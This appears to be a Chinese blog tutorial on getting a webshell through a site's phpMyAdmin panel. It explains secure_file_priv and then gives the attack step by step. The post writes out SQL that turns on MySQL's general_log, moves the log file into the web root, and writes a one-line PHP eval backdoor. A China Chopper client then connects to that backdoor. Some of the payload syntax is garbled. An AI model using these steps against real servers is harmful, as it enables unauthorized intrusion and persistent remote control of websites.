共计 1643 个字符,预计需要花费 5 分钟才能阅读完成。
自动写代码机器人,免费开通
这篇文章主要介绍了 phpmyadmin 中 getshell 有什么用,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让丸趣 TV 小编带着大家一起了解一下。
phpMyAdmin 是一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库。借由此 Web 接口可以成为一个简易方式输入繁杂 SQL 语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于 phpMyAdmin 跟其他 PHP 程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的 HTML 页面,也就是于远端管理 MySQL 数据库,方便的建立、修改、删除数据库及资料表。也可借由 phpMyAdmin 建立常用的 php 语法,方便编写网页时所需要的 sql 语法正确性。
通俗的讲 其作用就是可以在 web 页面方便的操作数据库。
当我们得到一个站点的 phpmyadmin 页面时,下一步要做的就是 getshell。
可以通过写 shell 进行提权,而我们需要满足以下条件:
1. 数据库 root 权限
2. 知道网站的物理路径
3. 数据库有写权限
通过 select ?php eval($_POST=[123];)? INTO OUTFILE 网站物理路径 写入 shell
本文主要讲的是在条件 3 不满足的情况下成功 getshell。
利用条件:MySQL 5.0+
MySQL 5.0+ 的版本会自动创建日志文件,那么在服务运行的情况下修改全局变量也是可以变动文件位置的,但是必须要对生成日志的目录有可读可写的权限。
(Linux 环境下可能会比较苛刻,因为站点目录是一个用户,MySQL 是另外一个用户,权限管控较为严格,主要取决于权限配置是否得当)
首先我们测试站点是否有写权限
执行 sql 语句 SHOW VARIABLES LIKE secure_file_priv
sql 语句 SHOW VARIABLES LIKE secure_file_priv 进行查询 查找 secure_file_priv
secure-file-priv 特性
secure-file-priv 参数是用来限制 LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() 传到哪个指定目录的。
当 secure_file_priv 的值为 null,表示限制 mysql 不允许导入 | 导出
当 secure_file_priv 的值为 /tmp/,表示限制 mysql 的导入 | 导出只能发生在 /tmp/ 目录下
当 secure_file_priv 的值没有具体值时,表示不对 mysql 的导入 | 导出做限制
可以在 mysql-ini 文件中设置其属性
经测试,我们没有写权限
然后再介绍两个 MySQL 全局变量(general_log、general_log file)
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON 代表开启 OFF 代表关闭。
general log file 指的是日志的保存路径。
我们可以通过将一句话木马写入 mysql 日志中然后移动 mysql 日志路径到网站目录下实现 getshell
执行 sql 语句 SHOW VARIABLES LIKE general_log% 进行模糊查询
日志默认关闭
我们执行 sql 语句
set global general_log = ON # 开启日志
SET global general_log_file= 网站下物理路径 # 更换日志路径
成功创建
然后执行特殊的查询语句
select ?php eval($_POST[aaa]);?
我们进入 112233.php 进行验证,成功写入 shell
最后进行菜刀连接,获得站点 webshell
感谢你能够认真阅读完这篇文章,希望丸趣 TV 小编分享的“phpmyadmin 中 getshell 有什么用”这篇文章对大家有帮助,同时也希望大家多多支持丸趣 TV,关注丸趣 TV 行业资讯频道,更多相关知识等着你来学习!
向 AI 问一下细节